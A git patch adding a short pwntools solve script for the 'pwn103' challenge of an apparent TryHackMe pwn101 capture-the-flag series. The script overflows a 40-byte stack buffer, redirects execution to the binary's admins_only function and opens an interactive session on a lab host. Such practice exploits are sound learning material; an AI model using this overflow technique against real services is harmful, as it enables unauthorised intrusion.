From a4e1a18d3f80f6d6512b370a25ce6ede9d4cd917 Mon Sep 17 00:00:00 2001 From: jc Date: Mon, 28 Oct 2024 00:31:42 +0300 Subject: [PATCH] solve script --- thm_pwn101/pwn103/a.py | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100644 thm_pwn101/pwn103/a.py diff --git a/thm_pwn101/pwn103/a.py b/thm_pwn101/pwn103/a.py new file mode 100644 index 0000000..4c25d3d --- /dev/null +++ b/thm_pwn101/pwn103/a.py @@ -0,0 +1,19 @@ +#!/usr/bin/python3 + +from pwn import * + +context.binary = target = ELF("./pwn103", checksec=False) +# r = process() +r = remote("10.10.167.194", 9003) + +# funcs +s = lambda a: r.sendlineafter(b": ", a) + +# buf +s(b"3") +buf = b"A"*40 +buf += p64(0x401553) +buf += p64(target.sym.admins_only) +s(buf) + +r.interactive() \ No newline at end of file